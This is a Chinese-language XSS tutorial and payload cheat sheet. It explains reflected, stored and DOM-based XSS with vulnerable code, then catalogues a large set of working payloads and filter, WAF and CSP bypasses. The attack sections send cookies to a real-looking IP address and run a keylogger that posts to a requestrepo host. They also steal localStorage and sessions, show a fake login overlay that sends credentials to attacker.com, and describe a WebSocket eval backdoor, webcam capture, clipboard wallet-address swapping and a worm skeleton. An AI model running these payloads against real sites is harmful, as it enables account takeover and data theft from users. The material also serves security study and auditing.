1前置知识
1.1 概念
XSS(全称:跨站脚本攻击)是一种 Web 安全漏洞,攻击者可以利用它来破坏用户与易受攻击应用程序的交互。它允许攻击者绕过同源策略(该策略用于隔离不同的网站),伪装成受害者用户,执行用户可以执行的任何操作,并访问用户的任何数据。
1.2 原理
攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的
1.3 类型
- 反射型XSS——后端 <非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理,直接把用户输入拼到HTML里返回,没过滤
- 存储型XSS——后端 <持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
- DOM型XSS——前端 基于文档对象模型(Document Objeet Model)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理
1.4 危害
1.挂马2.盗取用户Cookie。3.DOS(拒绝服务)客户端浏览器。4.钓鱼攻击,高级的钓鱼技巧。5.删除目标文章、恶意篡改数据、嫁祸。6.劫持用户Web行为,甚至进一步渗透内网。7.爆发Web2.0蠕虫。8.蠕虫式的DDoS攻击。9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据10.其它安全问题2漏洞分析
2.1 反射型 XSS
核心特征:非持久化,一次性,需要诱导受害者点击恶意链接。
2.1.1 漏洞成因
服务端直接将用户的请求参数拼接进 HTML 响应返回,未做任何过滤或转义
<?php$search_query = $_GET['query']; // ❌ 直接获取,未处理?><p>搜索结果:<?php echo $search_query; ?></p> // ❌ 直接输出```
### 2.1.2 攻击路径```攻击者构造恶意URL ↓search.php?query=<script>alert(1)</script> ↓受害者点击链接 → 请求发送到服务器 ↓服务器将Payload拼接进HTML返回 ↓受害者浏览器解析执行恶意脚本2.1.3 审计要点
做题/审计时重点关注
// 危险函数:直接输出GET/POST参数echo $_GET['x'];echo $_POST['x'];echo $_REQUEST['x'];print $_GET['x'];
// 危险场景:搜索框回显、错误信息回显、跳转参数回显header("Location: " . $_GET['url']); // 跳转参数未过滤2.2 存储型 XSS
核心特征:持久化,危害范围最广,Payload 存入数据库,所有访问者都会中招。
2.2.1 漏洞成因
写入时未过滤直接入库,读取时未转义直接输出,形成完整的攻击链
// 写入接口:save_message.php(入库无过滤)$message = $_POST['content'];$sql = "INSERT INTO message (content) VALUES ('$message')"; // ❌ 直接入库mysqli_query($conn, $sql);
// 读取接口:show_message.php(输出无转义)while($row = mysqli_fetch_assoc($result)) { echo "<div>" . $row['content'] . "</div>"; // ❌ 直接输出}```
### 2.2.2 攻击路径```攻击者在评论/留言/个人资料等处提交Payload ↓服务器未过滤,Payload 写入数据库持久存储 ↓任意用户访问包含该数据的页面 ↓服务器读取数据库内容拼接进HTML返回 ↓所有访问者的浏览器执行恶意脚本```
### 2.2.3 审计要点
做题/审计时需要**同时找到两个点**才能构成完整漏洞:```写入点(Source) 读取点(Sink)───────────────── ──────────────────评论/留言功能 → 数据库 → 评论展示页面用户名/昵称 → 数据库 → 个人主页/文章作者文件名 → 数据库 → 文件列表页面商品描述 → 数据库 → 商品详情页面// 审计时找这类输出函数,追溯其数据来源是否经过净化echo $row['username']; // 数据库字段直接输出?echo $row['comment'];echo htmlspecialchars($row['comment']); // ✅ 有转义,安全2.3 DOM 型 XSS
核心特征:全程不经过服务器,漏洞存在于前端 JS 代码中,服务端看不到 Payload,WAF 难以拦截。
2.3.1 漏洞成因
前端 JS 从可控数据源(Source)读取数据后,未经处理直接传入危险 API(Sink)
<div id="welcome"></div><script> // ❌ Source:从URL读取可控输入 var username = new URLSearchParams(location.search).get('username');
// ❌ Sink:innerHTML直接解析为HTML document.getElementById('welcome').innerHTML = "欢迎:" + username;</script>访问 ?username=<img src=x onerror=alert(1)> 即可触发。
2.3.2 Source 与 Sink 概念
DOM 型 XSS 审计的核心就是找 Source → Sink 的数据流:
- 常见 Source(可控输入源)
location.search // URL ?参数location.hash // URL #后内容location.href // 完整URLdocument.referrer // 来源页面URLdocument.cookie // Cookie内容localStorage/sessionStorage // 本地存储- 常见 Sink(危险执行点)
// 类型一:直接解析HTML,最常见element.innerHTML =element.outerHTML =document.write()document.writeln()
// 类型二:执行字符串代码eval()setTimeout("字符串")setInterval("字符串")new Function()
// 类型三:影响页面跳转/资源加载location.href =location.replace()element.src =element.action =2.3.3 三个危险 API 详解
2.3.3.1 innerHTML
替换元素内部内容,浏览器将传入字符串当 HTML 解析执行
// 攻击者控制 userInput = '<img src=x onerror=alert(1)>'document.getElementById('box').innerHTML = userInput;// 浏览器解析后生成 <img> 标签并触发 onerror 事件2.3.3.2 outerHTML
与 innerHTML 类似,但连元素本身也一起替换
// 攻击者控制 userInput = '<svg onload=alert(1)>'document.getElementById('box').outerHTML = userInput;// 整个 box 元素被替换为 <svg>,onload 触发2.3.3.3 document.write()
直接向文档流写入内容,页面加载完后调用会清空整个页面再重写
// 攻击者控制 userInput = '<script>alert(1)</script>'document.write(userInput);// 字符串直接写入HTML文档并被浏览器解析执行2.3.4 审计要点
做题时在 JS 代码中搜索危险 Sink,再向上追溯数据来源
// 第一步:全局搜索危险Sink关键词innerHTMLouterHTMLdocument.writeeval(setTimeout(location.href
// 第二步:找到后向上追溯赋值来源el.innerHTML = ??? // ???是固定字符串还是变量? // 变量来自哪里?是否经过过滤?
// 第三步:判断来源是否可控// 可控来源:location.search / location.hash / document.referrer 等// 不可控来源:服务端写死的数据、经过严格过滤的数据3攻击
3.1 各类标签
<script>\<img>\<input>\<a>\<details>\<svg>\<select>\<iframe>\<video>\<audio>\<body>\<button>\<div>\<object>\<p>
<textarea>\<keygen>\<marquee>\<isindex>- script 标签
<script>标签用于定义客户端脚本,比如 JavaScript
<script>alert(123);</script><script>alert("xss");</script>- img标签
<img>标签定义 HTML 页面中的图像
<img src=1 onerror=alert(123);><img src=1 onerror=alert("xss");>- input标签
<input>标签规定了用户可以在其中输入数据的输入字段
<input onfocus="alert(123);">//onfocus 事件在对象获得焦点时发生
<input onblur="alert(123)" autofocus><input autofocus>//竞争焦点,从而触发onblur事件
<input onfocus="alert(123);" autofocus>//input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input οnclick="alert(123);">//这样需要点击一下输入框<br>
" onmouseover="alert(123);">//需要鼠标划过输入框<br>- a标签
<a>是双标签(必须有开始和结束标签),核心作用是创建可点击的超链接
<a href="javascript:alert(123)">123</a>
<a href="x" onfocus="alert(666);" autofocus="">1xx</a>
<a href="x" onclick=eval('alert(666);')>1x7</a>
<a href="x" onmouseover=eval('alert(666);')>1x7</a>
<a href="x" onmouseout=eval('alert(666);')>1x7</a>- details标签
<details>标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节
<details ontoggle="alert(123);">//ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发
<details open ontoggle=alert(123);>//使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发- svg标签
<svg>标签用来在HTML页面中直接嵌入SVG 文件的代码
<svg onload=alert(123);>- select标签
<select>标签用来创建下拉列表
<select onfocus="alert(123)"></select><select onfocus=alert(1) autofocus>- iframe标签
<iframe>标签会创建包含另外一个文档的内联框架
<iframe onload=alert(123);></iframe>
<iframe src="javascript:alert(123)">666</iframe>
<iframe onload="alert(document.cookie)">666</iframe>
<iframe onload=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>666</iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">- video标签
<video>标签定义视频,比如电影片段或其他视频流
<video> <source src="无效地址" onerror="alert(123)" /> </video>- audio标签
<audio>标签定义声音,比如音乐或其他音频流
<audio src=1 onerror=alert(123)><audio><source src="x" onerror="alert('xss');"></audio><audio controls onfocus=eval("alert('xss');") autofocus=""></audio> <!--controls显示浏览器原生音频控制栏--><audio controls onmouseover="alert('xss');"><source src="x"></audio>- body标签
<body>标签定义文档的主体
<body onload=alert(123);>
<body onscroll=alert(123);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>//onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发- button标签
<button>标签,它是网页中创建可点击交互按钮的原生语义化标签,核心作用是实现点击操作(如触发 JS 逻辑、提交表单),双标签
<button onclick=alert(123)>
<button onclick=javascript:alert(123)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>- div标签
<div>标签,它是网页布局里最基础、最核心的通用块级容器标签,本身没有任何默认语义和样式,核心作用是 “分组 / 包裹” 其他 HTML 元素,划分网页结构(如头部、主体、侧边栏),是前端构建页面布局的 “万能工具”
<div onmouseover='alert(1)'>DIV</div><div onmouseover='alert(1)'>DIV</div><!--这是为了绕过一下()提交时得url-->- object标签
<object>标签,它是一个早期的通用嵌入式对象标签,核心作用是在网页中嵌入各类外部资源(如 PDF、Flash、SVG、ActiveX 控件等) 这个需要借助 data 伪协议和 base64 编码来实现绕过
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>- p标签
<p>标签,它是专门用于定义段落文本的语义化块级标签,核心作用是包裹一段独立的文本内容(如文章段落、说明文字),让浏览器识别文本的段落结构,同时自带基础的段落间距样式,是前端排版文本最基础、最常用的标签之一
<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>- textarea 标签
<textarea>标签定义一个多行的文本输入控件
<textarea onfocus=alert(123); autofocus>- keygen 标签
<keygen autofocus onfocus=alert(1)> //仅限火狐- marquee 标签
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以- isindex 标签
<isindex type=image src=1 onerror=alert(1)>//仅限于IE3.2 常用攻击方式
3.2.1 弹窗
这个形式的XSS没有什么危害,只是用来检测是否存在XSS漏洞
<script>alert(123)</script> //浏览器弹窗,内容为123<script>prompt(2)</script> //浏览器弹出一个输入框,提示词为2<script>confirm(3)</script> //与alert()类似,都是弹窗,3是弹出的内容隐蔽
<script>console.log(3)</script> //这会在浏览器控制台输出一个3<script>document.write(3)</script> //直接在页面写一个33.2.2 网页跳转
<script>window.location.href="http://shaogx.cn"</script>//直接跳转网页
<meta content="5;http://www.baidu.com" http-equiv="refresh">//作用同上 里面的5是用来延时5秒
<a href="http://shaogx.cn">点击我</a>//这样页面会出现点击我三个字,点击一下自动跳转网页
<script>window.open("http://shaogx.cn");</script>//这会重新开一个界面,但是可能会被浏览器拦截
<button onclick="location.href='http://shaogx.cn'">点击跳转</button>//点击按钮跳转
<div onclick="location.href='http://shaogx.cn'">查看详情</div>//点击任意文本跳转3.2.3 引入外部js
引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名
<script src="http://121.89.81.39/outfile/666.js"></script><img src=x onerror=document.body.appendChild(document.createElement("script")).src="//121.89.81.39/outfile/666.js"><img src=x onerror=jQuery.getScript("//121.89.81.39/outfile/666.js")> #这个需要网页引入jQuery库在目标vps上的666.js内容是window.location.href="http://www.baidu.com"这样就可以实现跳转。 还有就是这里的http://和引号是可以省略的
<script src=//121.89.81.39/outfile/666.js></script>写成这样也可以
3.2.4 盗取cookie
<script>window.location.href="http://121.89.81.39:2333/?msg="%2Bescape(document.cookie)</script> #这样可以把cookie外带出来+要url编码为%2B<script>var img=document.createElement("img");img.src="http://121.89.81.39:2333/?msg="%2Bescape(document.cookie);document.body.appendChild(img);</script>在攻击者服务器上不仅可以收到Cookie,还有Referer,ip,user-agent等。
3.2.5 flash钓鱼
<script>alert("您的flash版本过低,请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"</script>用xss触发CSRF,论坛中可用来制作XSS蠕虫
3.2.6 GET请求
<img src="./pay.php?id=test">3.2.7 POST请求
<form action="./index.php" method="POST"><input type="hidden" name="id" value="1" /></form><script>document.forms[0].submit();</script>使用JavaScript创建一个表单对象,填充表单中的字段,然后提交表单即可,示例如下
//下面的JavaScript代码作用:通过POST请求方式删除id=123的博客文章var form = document.createElement('form');form.method = 'POST';form.action = 'http://blog.example.com/del';document.body.appendChild(form);/*Node.appendChild() 方法将一个节点附加到指定父节点的子节点列表的末尾处。如果将被插入的节点已经存在于当前文档的文档树中,那么 appendChild() 只会将它从原先的位置移动到新的位置(不需要事先移除要移动的节点)。*/var li = document.createElement("input"); //<li>列表项元素li.name = 'id'; //id参数用于指定博客文章的idli.value = '123';form.appendChile(li);form.submit();3.2.8实现键盘记录
XSS可以实现键盘记录,获取用户输入的敏感信息。
document.addEventListener('keypress', function(e) { var key = e.key || String.fromCharCode(e.keyCode); new Image().src = 'http://d4t0vwzn.requestrepo.com/?key=' + encodeURIComponent(key);});引入外部的js后就会执行,把键盘操作发送到攻击者服务器,这样可以窃取一些密码等敏感信息
3.2.9 窃取 localStorage / sessionStorage
// 获取所有本地存储数据并外带var data = JSON.stringify(localStorage);new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(data);
// 也可以获取sessionStoragevar data2 = JSON.stringify(sessionStorage);new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(data2);现代Web应用常把 JWT Token、用户信息、权限数据 存在这里,危害远大于Cookie(因为这类Token通常没有HttpOnly保护)
3.2.10 获取页面敏感信息
// 获取页面中所有input的值(包括隐藏字段)var inputs = document.querySelectorAll('input');var result = [];inputs.forEach(function(input) { result.push(input.name + '=' + input.value);});new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(result.join('&'));
// 直接获取整个页面HTML(可能包含CSRF Token、敏感数据)new Image().src = 'http://attacker.com/?html=' + encodeURIComponent(document.documentElement.innerHTML);3.2.11 CSRF Token 窃取 + 联动 CSRF
// 先获取页面中的CSRF Token,再发起请求var xhr = new XMLHttpRequest();xhr.open('GET', '/user/delete_account', false); // 同步获取页面xhr.send();
// 从响应中提取CSRF Tokenvar html = xhr.responseText;var token = html.match(/csrf_token['"]\s*value=['"]([^'"]+)/)[1];
// 携带Token发起恶意POST请求var xhr2 = new XMLHttpRequest();xhr2.open('POST', '/user/delete_account');xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xhr2.send('csrf_token=' + token + '&confirm=1');这是 XSS 绕过 CSRF 防御 的经典手法,因为 XSS 是在目标域下执行,同源策略不生效
3.2.12 钓鱼表单覆盖(UI 伪造)
// 在页面覆盖一个假的登录框,诱导用户输入凭据var overlay = document.createElement('div');overlay.innerHTML = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%; background:rgba(0,0,0,0.8);z-index:99999; display:flex;align-items:center;justify-content:center;"> <div style="background:#fff;padding:30px;border-radius:8px;width:350px;"> <h2>登录超时,请重新登录</h2> <input id="fake_user" type="text" placeholder="用户名" style="width:100%;margin:10px 0;padding:8px"> <input id="fake_pass" type="password" placeholder="密码" style="width:100%;margin:10px 0;padding:8px"> <button onclick="stealCreds()" style="width:100%;padding:10px;background:#1890ff;color:#fff;border:none">登 录</button> </div> </div>`;document.body.appendChild(overlay);
function stealCreds() { var u = document.getElementById('fake_user').value; var p = document.getElementById('fake_pass').value; new Image().src = 'http://attacker.com/?u=' + encodeURIComponent(u) + '&p=' + encodeURIComponent(p);}3.2.13 XSS 蠕虫(Self-XSS Worm)
// 经典XSS蠕虫结构(以论坛发帖为例)// 蠕虫会自动将自身传播到其他用户的个人资料/留言板
var xhr = new XMLHttpRequest();// 1. 先获取CSRF Tokenxhr.open('GET', '/profile/edit', false);xhr.send();var token = xhr.responseText.match(/token" value="(.+?)"/)[1];
// 2. 将XSS Payload写入自己的个人简介,传播给访问者var payload = '<script>/* 蠕虫代码本身 */<\/script>';var xhr2 = new XMLHttpRequest();xhr2.open('POST', '/profile/update');xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xhr2.send('token=' + token + '&bio=' + encodeURIComponent(payload));3.2.14 网络探测(内网扫描)
// 利用受害者浏览器探测内网存活主机(时间差判断)var targets = ['192.168.1.1', '192.168.1.100', '192.168.1.200'];
targets.forEach(function(ip) { var start = new Date().getTime(); var img = new Image(); img.onload = img.onerror = function() { var time = new Date().getTime() - start; // 响应时间短说明主机存活 new Image().src = 'http://attacker.com/?ip=' + ip + '&time=' + time; }; img.src = 'http://' + ip + '/favicon.ico?' + Math.random();});把受害者浏览器当作跳板,探测攻击者无法直接访问的内网资源
3.2.15 利用 WebSocket 建立持久控制
// 通过WebSocket与攻击者服务器保持长连接,实现实时控制var ws = new WebSocket('ws://attacker.com:4444');
ws.onopen = function() { // 上线时发送基本信息 ws.send(JSON.stringify({ type: 'init', cookie: document.cookie, url: location.href, ua: navigator.userAgent }));};
ws.onmessage = function(e) { // 接收攻击者命令并执行(相当于远程控制浏览器) try { var result = eval(e.data); ws.send(JSON.stringify({ type: 'result', data: String(result) })); } catch(err) { ws.send(JSON.stringify({ type: 'error', data: err.message })); }};这是 BeEF (Browser Exploitation Framework) 的核心原理,可以实现对浏览器的持久化控制
3.2.16 截图/摄像头/麦克风(权限滥用)
// 利用 HTML5 API 请求摄像头权限(需要用户点击交互触发)navigator.mediaDevices.getUserMedia({ video: true, audio: true }) .then(function(stream) { var video = document.createElement('video'); video.srcObject = stream; video.play();
// 截取画面帧并发送给攻击者 var canvas = document.createElement('canvas'); setInterval(function() { canvas.getContext('2d').drawImage(video, 0, 0); canvas.toBlob(function(blob) { // 将截图发送到攻击者服务器 var fd = new FormData(); fd.append('img', blob); fetch('http://attacker.com/upload', { method: 'POST', body: fd }); }); }, 3000); });3.2.17 剪切板劫持
// 监听复制事件,替换或窃取剪切板内容document.addEventListener('copy', function(e) { // 窃取复制内容 var copied = window.getSelection().toString(); new Image().src = 'http://attacker.com/?clip=' + encodeURIComponent(copied);
// 篡改复制内容(比如替换加密货币钱包地址) e.clipboardData.setData('text/plain', '攻击者的钱包地址: 1AttackerWalletAddress...'); e.preventDefault();});3.3 过滤绕过
3.3.1 编码绕过
适用位置:标签属性值中(
href、src、事件属性)
3.3.1.1 HTML 实体编码
<!-- 十进制实体编码 --><img src="x" onerror="alert("xss");"><img src=x onerror=alert(1)> <!-- 可省略分号 -->
<!-- 十六进制实体编码 --><img src=x onerror=alert(1)>
<!-- 部分字符编码(仅编码ri两个字母)-->javascript:alert(/xss/)3.3.1.2 URL 编码
适用位置:
href、src属性(javascript:协议头必须保留,不可编码)
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<!-- 二次URL编码绕过 --><a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>3.3.1.3 JS 编码
适用位置:JS 执行上下文中,配合
eval、setTimeout等函数
<!-- 十六进制 \x --><img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27xss\x27\x29')><svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<!-- 八进制 \ --><svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<!-- Unicode \u(只能编码标识符,括号不可编码)--><img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)"><a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>3.3.1.4 ASCII 码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,xss,34,41,59))">
<!-- 十六进制形式 --><a href='javascript:eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))'>test</a>3.3.1.5 Base64 编码
配合 data: 伪协议或 atob() 函数使用
<!-- data伪协议加载 --><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
<!-- atob()解码执行 --><img src="x" onerror="eval(atob('YWxlcnQoMSk='))"><a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
<!-- 配合模板字符串的高阶用法 --><img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```"><img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">3.3.2 关键字过滤绕过
3.3.2.1 大小写混淆
<sCRiPt>alert(1);</sCrIpT><ImG sRc=x onerRor=alert(1)>3.3.2.2 双写嵌套绕过
适用于 WAF 只替换一次且替换为空的场景
<scrscriptipt>alert(1);</scrscriptipt><imimgg srsrcc=x onerror=alert(1)><sc<script>ript>alert(1)</sc</script>ript>3.3.3 字符串拼接绕过
3.3.3.1 eval + 字符串拼接
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)"><img src="x" onerror="eval('al'+'ert(1)')">3.3.3.2 全局对象属性访问拼接
<!-- 利用 top/window/self/parent/frames 等全局对象访问函数 --><img src=x onerror="top['al'+'ert'](1)"><img src=x onerror="window['al'+'ert'](1)"><img src=x onerror="self['al'%2B'ert'](1)"><img src=x onerror="parent['al'%2B'ert'](1)"><img src=x onerror="frames['al'%2B'ert'](1)">3.3.3.3 赋值拼接变体
<img src="x" onerror=_=alert,_(1)><img src onerror=top[a='al',b='ev',b%2Ba]('alert(1)')><img src onerror=['ale'%2B'rt'].map(top['ev'%2B'al'])[0]['valu'%2B'eOf']()(1)>3.3.4 括号过滤绕过
3.3.4.1 反引号替换
<img src=x onerror=alert`1`>3.3.4.2 throw 绕过
<!-- 基础用法 --><img src=x onerror="javascript:window.onerror=alert;throw 1">
<!-- 进阶用法:解决浏览器自动加前缀问题 --><img src onerror="window.onerror=eval;throw '=alert\x281\x29'">原理解析:直接
throw 'alert(1)'时,Chrome 会将其包装为"Uncaught: alert(1)",eval 执行会报错。改用throw '=alert\x281\x29',eval 收到"Uncaught: =alert(1)",其中Uncaught:被解析为合法的 JS label 语法,=alert(1)作为赋值表达式执行,弹窗成功触发。
3.3.5 标签/事件过滤绕过
当 <script> 或常见标签被过滤时,可替换的标签非常多
<img> <svg> <iframe> <input> <body><video> <audio> <details> <select> <object>冷门但有效的事件处理器
onmouseover onmouseenter onchange onsubmitoncanplay onloadstart onfocus oninputontoggle onpointerover onanimationend3.3.6 空格
空格在不同位置可用的替代字符不同,以 <img AA src=x BB onerror=alert CC (1) DD> 为例
<!-- AA位置(标签名与属性之间)-->可用:/ /123/ %09 %0A %0C %0D %20 /**/
<!-- BB位置(属性名与属性值之间)-->可用:%09 %0A %0C %0D %20
<!-- CC位置(函数名与括号之间)-->可用:%0B /**/
<!-- DD位置(属性结尾)-->可用:/**/ // %09 %0A %0C %0D %20 >实际示例
<img/src="x"/onerror=alert(1)> <!-- 用/代替空格 --><img/src="x"onerror=alert(1)> <!-- 省略部分空格 -->3.3.7 引号
<!-- HTML标签中可以不用引号 --><img src=x onerror=alert(xss)>
<!-- JS中用反引号代替单双引号 --><img src=x onerror=alert(`xss`)><script>alert(`xss`)</script>
<!-- 斜杠代替引号包裹字符串 --><script>alert(/xss/)</script>3.3.8 alert
<!-- 替换函数 -->prompt(1)confirm(1)console.log(1)document.write(1)
<!-- 常用执行函数包裹 --><img src="x" onerror="setTimeout(alert(1))"><img src="x" onerror="setInterval(alert(1))"><img src="x" onerror="Set.constructor(alert(1))"><img src="x" onerror="constructor.constructor(alert(1))"><img src="x" onerror="[1].map(alert(1))"><img src="x" onerror="[1].forEach(alert(1))">3.3.9 WAF 特性
<!-- 利用HTML注释干扰解析 --><scr<!--注释-->ipt>alert(1)</scr<!--注释-->ipt>
<!-- 利用\0空字节截断 --><scr\0ipt>alert(1)</scr\0ipt>
<!-- 利用多余属性混淆 --><img src=x onxxx=1 onerror=alert(1)>
<!-- 利用Tab符(%09)分割事件名 --><img src=x on%09error=alert(1)>
<!-- 利用换行符分割 --><img src=xonerror=alert(1)>
<!-- 利用特殊字符插入标签名(部分浏览器兼容)--><img/123 src=x onerror=alert(1)>3.3.10 长度限制
3.3.10.1 利用 location.hash
<!-- name参数只写短payload,真正的代码放在#后面不受长度检测 -->?name=<svg/onload=eval(location.hash.substr(1))>#alert(document.cookie)3.3.10.2 引入外部 JS
<script src=//attacker.com/x.js></script><img src=x onerror=document.body.appendChild(document.createElement("script")).src="//attacker.com/x.js">```
#### 2.3.10.3 特殊 Unicode 字符压缩```₨ → rs(1个字符代表2个)ffi → ffi(1个字符代表3个)ß → ssst → st3.3.11 URL 地址过滤绕过
当目标 URL 被过滤时,可以对 IP 进行进制转换:
<!-- 十进制IP(127.0.0.1 → 2130706433)--><img src="x" onerror=document.location=`http://2130706433/`>
<!-- 八进制IP --><img src="x" onerror=document.location=`http://0177.0.0.01/`>
<!-- 十六进制IP --><img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
<!-- // 代替 http:// --><img src="x" onerror=document.location=`//www.baidu.com`>
<!-- 中文句号代替英文点(浏览器自动转换)--><img src="x" onerror="document.location=`http://www。baidu。com`">3.3.12 JS 不常见特性利用(偏JS开发底层)
// 利用with语句简化payload<img src=x onerror="with(document)write('<script>alert(1)<\/script>')">
// 利用getter/setter<img src=x onerror="Object.defineProperty(window,'_',{get:()=>alert(1)});void _">
// 利用Proxy<img src=x onerror="new Proxy({},{get:()=>alert(1)}).x">
// 利用解构赋值<img src=x onerror="[{toString:alert}]+''">
// 利用Symbol.toPrimitive<img src=x onerror="[{[Symbol.toPrimitive]:alert}]+''">
// 利用标签模板(Tagged Template)<img src=x onerror="alert`1`">Function`a${'alert(1)'}```3.3.13 浏览器 DOM 解析差异绕过
不同浏览器对畸形 HTML 的容错解析不同,可以针对性利用
<!-- IE特有的条件注释 --><!--[if IE]><script>alert(1)</script><![endif]-->
<!-- IE支持的CSS expression --><div style="width:expression(alert(1))">
<!-- IE的vbscript协议 --><a href="vbscript:msgbox(1)">click</a>
<!-- 畸形标签,部分浏览器会自动修复并执行 --><img """><script>alert(1)</script>"><<script>alert(1)//<</script>
<!-- SVG中的特殊解析 --><svg><script>alert(1)</script></svg><svg/onload=alert(1)>3.3.14 AngularJS 沙箱逃逸(CSTI→XSS)
当页面使用了 AngularJS 且用户输入被放入模板时
// AngularJS 1.x 各版本沙箱逃逸Payload// <= 1.0.1{{constructor.constructor('alert(1)')()}}
// 1.1.5{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)');}}
// 1.6+(沙箱被完全移除,直接执行){{constructor.constructor('alert(1)')()}}3.3.15 CSP 绕过
CSP (Content Security Policy)是目前最主流的 XSS 防御手段之一,绕过它非常重要
<!-- 利用白名单域下的JSONP接口 --><script src="https://白名单域/jsonp?callback=alert(1)//"></script>
<!-- 利用白名单域的AngularJS --><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js"></script><div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
<!-- 利用 base 标签劫持相对路径 --><base href="https://attacker.com/"><!-- 页面中所有相对路径的JS请求都会指向攻击者服务器 -->
<!-- 利用 meta 标签跳转(CSP不限制meta刷新)--><meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<!-- 利用 nonce 泄露(如果nonce在页面中可见)--><script nonce="泄露的nonce值">alert(1)</script>3.3.16 二次渲染绕过
<!-- 第一次提交时被过滤,但数据存入数据库后再次渲染时触发 --><!-- 常见于头像/昵称等经过多次处理的存储场景 -->
<!-- 第一次提交(被过滤为无害)--><script>alert(1)</script>
<!-- 数据库存储后,服务端二次处理decode,再输出时变成 --><script>alert(1)</script>3.3.17 mutation XSS
浏览器在解析和序列化 HTML 时会发生”变异”,导致原本无害的字符串变成可执行的 XSS
<!-- 输入时无害,经过innerHTML读写一次后变异为可执行代码 --><listing><img src=1 onerror=alert(1)></listing><noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- 利用namespace混淆 --><svg><p><style><img src=1 onerror=alert(1)></style></p></svg>原理:innerHTML 在赋值和读取时,浏览器内部解析器会对 HTML 进行”修复”,某些实体编码或标签嵌套经过一次 DOM 读写后结构发生变化,产生可执行代码。这类漏洞极难被过滤器检测到。
3.3.18 JS 原生函数替换绕过检测
// 绕过检测脚本对alert等函数的hook监控// 先保存原函数引用,再恢复var _alert = window.alert;window.alert = function(){}; // 让检测脚本以为alert被禁用// 真正执行时用保存的引用_alert(document.cookie);
// 用iframe独立作用域绕过父页面的函数hookvar f = document.createElement('iframe');document.body.appendChild(f);f.contentWindow.alert(document.cookie); // 使用iframe自己干净的alert```
---
### 2.3.19 RPO(Relative Path Overwrite)结合 XSS```<!-- 利用URL路径欺骗浏览器加载不同的CSS/JS -->https://example.com/app/page/..%2f..%2fattacker.css
